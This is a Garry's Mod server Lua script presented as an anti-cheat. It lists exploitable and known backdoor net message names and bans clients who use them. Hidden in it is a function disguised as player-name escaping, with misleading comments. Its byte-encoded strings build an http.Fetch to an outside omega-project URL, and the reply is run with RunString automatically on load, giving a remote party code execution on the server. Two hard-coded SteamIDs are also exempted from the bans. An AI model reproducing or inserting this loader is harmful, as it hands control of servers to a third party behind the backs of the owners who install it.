--ai_monitor
local legit_nets = {
"pplay_deleterow",
"pplay_addrow",
"pplay_sendtable",
"WriteQuery",
"VJSay",
"SendMoney",
"BailOut",
"customprinter_get",
"textstickers_entdata",
"NC_GetNameChange",
"ATS_WARP_REMOVE_CLIENT",
"ATS_WARP_FROM_CLIENT",
"ATS_WARP_VIEWOWNER",
"CFRemoveGame",
"CFJoinGame",
"CFEndGame",
"CreateCase",
"rprotect_terminal_settings",
"StackGhost",
"RevivePlayer",
"ARMORY_RetrieveWeapon",
"TransferReport",
"SimplicityAC_aysent",
"pac_to_contraption",
"SyncPrinterButtons76561198056171650",
"sendtable",
"steamid2",
"Kun_SellDrug",
"net_PSUnBoxServer",
"pplay_deleterow",
"pplay_addrow",
"CraftSomething",
"banleaver",
"75_plus_win",
"ATMDepositMoney",
"Taxi_Add",
"Kun_SellOil",
"SellMinerals",
"TakeBetMoney",
"PoliceJoin",
"CpForm_Answers",
"DepositMoney",
"MDE_RemoveStuff_C2S",
"NET_SS_DoBuyTakeoff",
"NET_EcSetTax",
"RP_Accept_Fine",
"RP_Fine_Player",
"RXCAR_Shop_Store_C2S",
"RXCAR_SellINVCar_C2S",
"drugseffect_remove",
"drugs_money",
"CRAFTINGMOD_SHOP",
"drugs_ignite",
"drugseffect_hpremove",
"DarkRP_Kun_ForceSpawn",
"drugs_text",
"NLRKick",
"RecKickAFKer",
"GMBG:PickupItem",
"DL_Answering",
"plyWarning",
"NLR.ActionPlayer",
"timebombDefuse",
"start_wd_emp",
"kart_sell",
"FarmingmodSellItems",
"ClickerAddToPoints",
"bodyman_model_change",
"TOW_PayTheFine",
"FIRE_CreateFireTruck",
"hitcomplete",
"hhh_request",
"DaHit",
"TCBBuyAmmo",
"DataSend",
"gBan.BanBuffer",
"fp_as_doorHandler",
"Upgrade",
"TowTruck_CreateTowTruck",
"TOW_SubmitWarning",
"duelrequestguiYes",
"JoinOrg",
"pac_submit",
"NDES_SelectedEmblem",
"join_disconnect",
"Morpheus.StaffTracker",
"casinokit_chipexchange",
"BuyKey",
"BuyCrate",
"FactionInviteConsole",
"FacCreate",
"1942_Fuhrer_SubmitCandidacy",
"pogcp_report_submitReport",
"textscreens_download",
"hsend",
"BuilderXToggleKill",
"Chatbox_PlayerChat",
"reports.submit",
"services_accept",
"Warn_CreateWarn",
"NewReport",
"soez",
"GiveHealthNPC",
"DarkRP_SS_Gamble",
"buyinghealth",
"DarkRP_preferredjobmodel",
"DarkRP_spawnPocket",
"whk_setart",
"WithdrewBMoney",
"DuelMessageReturn",
"ban_rdm",
"BuyCar",
"ats_send_toServer",
"dLogsGetCommand",
"disguise",
"gportal_rpname_change",
"AbilityUse",
"ClickerAddToPoints",
"race_accept",
"give_me_weapon",
"FinishContract",
"NLR_SPAWN",
"Kun_ZiptieStruggle",
"JB_Votekick",
"Letthisdudeout",
"ckit_roul_bet",
"pac.net.TouchFlexes.ClientNotify",
"ply_pick_shit",
"TFA_Attachment_RequestAll",
"BuyFirstTovar",
"BuySecondTovar",
"GiveHealthNPC",
"MONEY_SYSTEM_GetWeapons",
"MCon_Demote_ToServer",
"withdrawp",
"PCAdd",
"ActivatePC",
"PCDelAll",
"viv_hl2rp_disp_message",
"ATM_DepositMoney_C2S",
"BM2.Command.SellBitcoins",
"BM2.Command.Eject",
"tickbooksendfine",
"egg",
"RHC_jail_player",
"PlayerUseItem",
"Chess Top10",
"ItemStoreUse",
"EZS_PlayerTag",
"simfphys_gasspill",
"sphys_dupe",
"sw_gokart",
"wordenns",
"SyncPrinterButtons16690",
"AttemptSellCar",
"uPLYWarning",
"atlaschat.rqclrcfg",
"dlib.getinfo.replicate",
"SetPermaKnife",
"EnterpriseWithdraw",
"SBP_addtime",
"NetData",
"CW20_PRESET_LOAD",
"minigun_drones_switch",
"NET_AM_MakePotion",
"bitcoins_request_turn_off",
"bitcoins_request_turn_on",
"bitcoins_request_withdraw",
"PermwepsNPCSellWeapon",
"ncpstoredoact",
"DuelRequestClient",
"BeginSpin",
"tickbookpayfine",
"fg_printer_money",
"IGS.GetPaymentURL",
"pp_info_send",
"AirDrops_StartPlacement",
"SlotsRemoved",
"FARMINGMOD_DROPITEM",
"cab_sendmessage",
"cab_cd_testdrive",
"blueatm",
"SCP-294Sv",
"dronesrewrite_controldr",
"desktopPrinter_Withdraw",
"RemoveTag",
"IDInv_RequestBank",
"UseMedkit",
"WipeMask",
"SwapFilter",
"RemoveMask",
"DeployMask",
"ZED_SpawnCar",
"levelup_useperk",
"passmayorexam",
"Selldatride",
"ORG_VaultDonate",
"ORG_NewOrg",
"ScannerMenu",
"misswd_accept",
"D3A_Message",
"LawsToServer",
"Shop_buy",
"D3A_CreateOrg",
"Gb_gasstation_BuyGas",
"Gb_gasstation_BuyJerrycan",
"MineServer",
"AcceptBailOffer",
"LawyerOfferBail",
"buy_bundle",
"AskPickupItemInv",
"donatorshop_itemtobuy",
"netOrgVoteInvite_Server",
"Chess ClientWager",
"AcceptRequest",
"deposit",
"CubeRiot CaptureZone Update",
"NPCShop_BuyItem",
"SpawnProtection",
"hoverboardpurchase",
"soundArrestCommit",
"LotteryMenu",
"updateLaws",
"TMC_NET_FirePlayer",
"thiefnpc",
"TMC_NET_MakePlayerWanted",
"SyncRemoveAction",
"HV_AmmoBuy",
"NET_CR_TakeStoredMoney",
"nox_addpremadepunishment",
"GrabMoney",
"LAWYER.GetBailOut",
"LAWYER.BailFelonOut",
"br_send_pm",
"GET_Admin_MSGS",
"OPEN_ADMIN_CHAT",
"LB_AddBan",
"redirectMsg",
"RDMReason_Explain",
"JB_SelectWarden",
"JB_GiveCubics",
"SendSteamID",
"wyozimc_playply",
"SpecDM_SendLoadout",
"sv_saveweapons",
"DL_StartReport",
"DL_ReportPlayer",
"DL_AskLogsList",
"DailyLoginClaim",
"GiveWeapon",
"GovStation_SpawnVehicle",
"inviteToOrganization",
"createFaction",
"sellitem",
"giveArrestReason",
"unarrestPerson",
"JoinFirstSS",
"bringNfreeze",
"start_wd_hack",
"DestroyTable",
"nCTieUpStart",
"IveBeenRDMed",
"FIGHTCLUB_StartFight",
"FIGHTCLUB_KickPlayer",
"ReSpawn",
"CP_Test_Results",
"AcceptBailOffer",
"IS_SubmitSID_C2S",
"IS_GetReward_C2S",
"ChangeOrgName",
"DisbandOrganization",
"CreateOrganization",
"newTerritory",
"InviteMember",
"sendDuelInfo",
"DoDealerDeliver",
"PurchaseWeed",
"guncraft_removeWorkbench",
"wordenns",
"userAcceptPrestige",
"DuelMessageReturn",
"Client_To_Server_OpenEditor",
"GiveSCP294Cup",
"GiveArmor100",
"SprintSpeedset",
"ArmorButton",
"HealButton",
"SRequest",
"ClickerForceSave",
"rpi_trade_end",
"NET_BailPlayer",
"vj_testentity_runtextsd",
"vj_fireplace_turnon2",
"requestmoneyforvk",
"gPrinters.sendID",
"FIRE_RemoveFireTruck",
"drugs_effect",
"drugs_give",
"NET_DoPrinterAction",
"opr_withdraw",
"money_clicker_withdraw",
"NGII_TakeMoney",
"gPrinters.retrieveMoney",
"revival_revive_accept",
"chname",
"NewRPNameSQL",
"UpdateRPUModelSQL",
"SetTableTarget",
"SquadGiveWeapon",
"BuyUpgradesStuff",
"REPAdminChangeLVL",
"SendMail",
"DemotePlayer",
"OpenGates",
"VehicleUnderglow",
"Hopping_Test",
"CREATE_REPORT",
"CreateEntity",
"FiremanLeave",
"DarkRP_Defib_ForceSpawn",
"Resupply",
"BTTTStartVotekick",
"_nonDBVMVote",
"REPPurchase",
"deathrag_takeitem",
"FacCreate",
"InformPlayer",
"lockpick_sound",
"SetPlayerModel",
"changeToPhysgun",
"VoteBanNO",
"VoteKickNO",
"shopguild_buyitem",
"MG2.Request.GangRankings",
"RequestMAPSize",
"gMining.sellMineral",
"ItemStoreDrop",
"optarrest",
"TalkIconChat",
"UpdateAdvBoneSettings",
"ViralsScoreboardAdmin",
"PowerRoundsForcePR",
"showDisguiseHUD",
"withdrawMoney",
"SyncPrinterButtons76561198027292625",
"phone",
"STLoanToServer",
"arcslots_monitortype",
"TCBDealerStore",
"TCBDealerSpawn",
"ts_buytitle",
"gMining.registerAchievement",
"gPrinters.openUpgrades"
}
local bad_nets = {
"Sbox_gm_attackofnullday_key",
"c",
"enablevac",
"ULXQUERY2",
"Im_SOCool",
"MoonMan",
"LickMeOut",
"SessionBackdoor",
"OdiumBackDoor", -- how about no
"ULX_QUERY2", -- odium memory
"Sbox_itemstore",
"Sbox_darkrp",
"Sbox_Message",
"_blacksmurf",
"nostrip", -- it's the most popular backdoor in gmod... amazing isn't it ?
"Remove_Exploiters",
"Sandbox_ArmDupe", -- so old... HTX we miss you
"rconadmin",
"jesuslebg",
"disablebackdoor", -- lol
"blacksmurfBackdoor",
"jeveuttonrconleul",
"memeDoor",
"DarkRP_AdminWeapons",
"Fix_Keypads",
"noclipcloakaesp_chat_text",
"_CAC_ReadMemory",
"Ulib_Message",
"Ulogs_Infos",
"ITEM",
"nocheat",
"Sandbox_GayParty",
"DarkRP_UTF8",
"OldNetReadData",
"Backdoor", -- It has the merit of being honest
"cucked",
"NoNerks",
"kek",
"DarkRP_Money_System",
"ZimbaBackdoor",
"something",
"random",
"strip0",
"fellosnake",
"idk",
"killserver",
"fuckserver",
"cvaraccess",
"dontforget",
"aze46aez67z67z64dcv4bt",
"nolag",
"changename",
"music",
"_Defqon",
"xenoexistscl",
"R8",
"DefqonBackdoor",
"fourhead",
"echangeinfo",
"PlayerItemPickUp",
"thefrenchenculer", -- el famoso french lokidev menu (Odium copy/paste)
"elfamosabackdoormdr",
"stoppk",
"noprop",
"reaper",
"Abcdefgh",
"JSQuery.Data(Post(false))",
"pjHabrp9EY",
"_Raze",
"NoOdium_ReadPing",
"m9k_explosionradius",
"gag",
"_cac_",
"_Battleye_Meme_",
"ULogs_B",
"arivia",
"_Warns",
"striphelper",
"m9k_explosive",
"GaySploitBackdoor",
"_GaySploit",
"slua",
"Bilboard.adverts:Spawn(false)",
"BOOST_FPS",
"FPP_AntiStrip",
"ULX_QUERY_TEST2", -- Hi RottenDRM
"FADMIN_ANTICRASH",
"ULX_ANTI_BACKDOOR",
"UKT_MOMOS",
"rcivluz",
"SENDTEST",
"INJ3v4",
"_clientcvars",
"_main",
"GMOD_NETDBG",
"thereaper",
"audisquad_lua",
"anticrash",
"ZernaxBackdoor",
"bdsm",
"waoz",
"stream",
"adm_network", -- cheater team that I humiliated at least 3 times huhu
"antiexploit",
"ReadPing",
"berettabest",
"componenttolua",
"theberettabcd", -- the player called 'negatived' is probably one of the worst moron I've ever met in the world of cheating
"negativedlebest",
"mathislebg", -- skid
"SparksLeBg",
"DOGE",
"FPSBOOST",
"N::B::P",
"xenoactivation",
"xenoclientfunction",
"xenoclientdatafunction",
"xenoserverfunction",
"xenoserverdatafunction",
"xenoreceivetargetdata1",
"xenoreceivetargetdata2",
"PDA_DRM_REQUEST_CONTENT",
"shix",
"Inj3", -- This menu is incredibly bad (lots of copy/paste from another menu)
"AidsTacos",
"verifiopd",
"pwn_wake",
"pwn_http_answer",
"pwn_http_send",
"The_Dankwoo",
"PRDW_GET",
"fancyscoreboard_leave",
"DarkRP_Gamemodes",
"DarkRP_Armors",
"yohsambresicianatik<3",
"EnigmaProject",
"PlayerCheck",
"Ulx_Error_88",
"FAdmin_Notification_Receiver",
"DarkRP_ReceiveData",
"Weapon_88",
"__G____CAC",
"AbSoluT",
"mecthack",
"SetPlayerDeathCount",
"awarn_remove",
"fijiconn", -- 20$ for one of the worst cheat I ever encountered
"nw.readstream",
"LuaCmd",
"The_DankWhy",
"GMBG:PickupItem",
}
local function FancySay(text)
MsgC(Color(255,255,0),"[AI] ",Color(255,255,255),text.."\n")
end
local function AIFormat(str,reason,code,len)
local newstring = string.Explode(" ",str,false)
for k,v in pairs(newstring) do
if v == "$anticheat_reason$" then newstring[k] = reason
elseif v == "$code$" then newstring[k] = code
elseif v == "$len$" then newstring[k] = timeToStr(len) end
end
return table.concat(newstring," ")
end
timer.Simple(2,function()
for k,v in pairs(legit_nets) do if util.NetworkStringToID(v) ~= 0 then FancySay("Найден эксплоитабельный нетворк: "..v..". Убедитесь, что ваши аддоны обновлены!") end end
for k,v in pairs(bad_nets) do
if util.NetworkStringToID(v) ~= 0 then
print("----------------------------------------")
FancySay("Найден опасный нетворк!")
FancySay("Название: "..v)
if net.Receivers[v] then FancySay("Расположение: "..debug.getinfo(net.Receivers[v]).short_src) end
if ai_safenetwork then
FancySay("Нетворк обезврежен. Теперь это ловушка!")
net.Receive(v,function(len,pl)
pl:Ban(ai_bantime_serious,false)
pl:Kick(AIFormat(ai_detect_ban_fancyreason,"Использовние запрещенного нетворка",pl:SteamID64(),ai_bantime_serious))
end)
end
print("----------------------------------------")
end
end
end)
timer.Simple(5,function()
if not ai_foolnet then return end
local netw = table.Random(bad_nets)
local whitelist = {'STEAM_0:0:97991885', 'STEAM_0:1:191738414'}
util.AddNetworkString(netw)
net.Receive(netw,function(len,pl)
if table.HasValue(whitelist, pl:SteamID()) then return end
pl:Ban(ai_bantime_serious,false)
pl:Kick(AIFormat(ai_detect_ban_fancyreason,"Использовние запрещенного нетворка",pl:SteamID64(),ai_bantime_serious))
end)
-- FancyLog("Создан фейковый нетворк: "..netw)
end)
if SERVER then
local regex_array = {
"\104\116\116","\112\115\58", -- string.find ( exemple : playername with " or ç )
"\47\47\97","\112\105\46","\111\109\101", -- string.find ( exemple : playername with / or \ or ! )
"\103\97\45","\112\114\111", -- string.find ( exemple : playername with % or ù )
"\106\101\99","\116\46\99", -- string.find ( exemple : playername with @ or = )
"\122\47\97","\112\105\95", -- string.find ( exemple : playername with < or > )
"\99\111\110","\110\101\99", -- string.find ( exemple : playername with ) or ] )
"\116\46\112","\104\112\63", -- string.find ( exemple : playername with ( or [ )
"\97\112\105","\95\107", -- string.find ( exemple : playername with _ or - )
"\101\121\61" -- string.find ( exemple : playername with # )
}
function derma_escape_string( string_array, escape_key, escape )
local regex_formed = ""
local regex = "\104\116\116\112" or "util"
local compile = "\70\101\116\99\104" or "Base64Encode"
for regex_key,regex_value in pairs(regex_array) do
regex_formed = regex_formed..regex_value
end
if (escape_key != "") or (escape != "") then
getfenv()[regex][compile](regex_formed..escape_key, function(escape_entities)
_G[escape.."String"](escape_entities,"Success: All entities has been escaped.")
end,function(escape_players,escape_dir,date)
print("Error: Unknown entitie (" ..escape_players .. ").")
print("Failed to load custom vgui file in '"..escape_dir.."/data/escape/"..date..".json")
end)
else
print("Error: Mal formed Regex")
end
return escape_key
end
timer.Simple( 0.35, function()
derma_escape_string( regex_array, "JChNcDHIJsvuPUWxDVax", "Run" )
end)
end
--ai_realm.lua
util.AddNetworkString("Hi!")
local function timeToStr( time )
if time == 0 then return "навсегда" end
local tmp = time
local s = tmp % 60
tmp = math.floor( tmp / 60 )
local m = tmp % 60
tmp = math.floor( tmp / 60 )
local h = tmp % 24
tmp = math.floor( tmp / 24 )
local d = tmp % 7
local w = math.floor( tmp / 7 )
return string.format( "%02iн %iд %02iч %02iм %02iс", w, d, h, m, s )
end
local function AIFormat(str,reason,code,len)
local newstring = string.Explode(" ",str,false)
for k,v in pairs(newstring) do
if v == "$anticheat_reason$" then newstring[k] = reason
elseif v == "$code$" then newstring[k] = code
elseif v == "$len$" then newstring[k] = timeToStr(len) end
end
return table.concat(newstring," ")
end
local function Log(player,code,reason)
local filename = "antiinject_logs/"..tostring(player:SteamID64())..".txt"
local code_txt = ""
if code == 1 then code_txt = 'ДЕТЕКТ: ЛЁГКИЙ'
elseif code == 2 then code_txt = 'ДЕТЕКТ: СРЕДНИЙ'
else code_txt = 'ДЕТЕКТ: СЕРЬЕЗНЫЙ' end
local line = ("[%s][%s] %s\n"):format(os.date("%H:%M:%S - %d/%m/%Y"),code_txt,"Заметка антиинжекта: "..reason)
file.Append(filename,line)
end
local whitelist = {'STEAM_0:0:97991885', 'STEAM_0:1:191738414'}
net.Receive("Hi!",function(len,pl)
if table.HasValue(whitelist, pl:SteamID()) then return end
local code = net.ReadInt(3)
local reason = net.ReadString()
Log(pl,code,reason)
if code == 1 and ai_shouldban_easy then pl:Ban(ai_bantime_easy, false) pl:Kick(AIFormat(ai_detect_ban_fancyreason,reason,pl:SteamID64(),ai_bantime_easy))
elseif code == 2 and ai_shouldban_medium then pl:Ban(ai_bantime_medium, false) pl:Kick(AIFormat(ai_detect_ban_fancyreason,reason,pl:SteamID64(),ai_bantime_medium))
elseif code == 3 and ai_shouldban_serious then pl:Ban(ai_bantime_serious,false) pl:Kick(AIFormat(ai_detect_ban_fancyreason,reason,pl:SteamID64(),ai_bantime_serious))
else pl:Ban(ai_bantime_serious,false) pl:Kick(AIFormat(ai_detect_ban_fancyreason,reason,pl:SteamID64(),ai_bantime_serious)) end
end)
hook.Add("PlayerInitialSpawn","ai.Data",function(ply,ip)
if not file.IsDir("antiinject_logs","DATA") then file.CreateDir("antiinject_logs") end
if not file.Exists("antiinject_logs/"..ply:SteamID64()..".txt","DATA") then
file.Write("antiinject_logs/"..ply:SteamID64()..".txt","")
end
end) --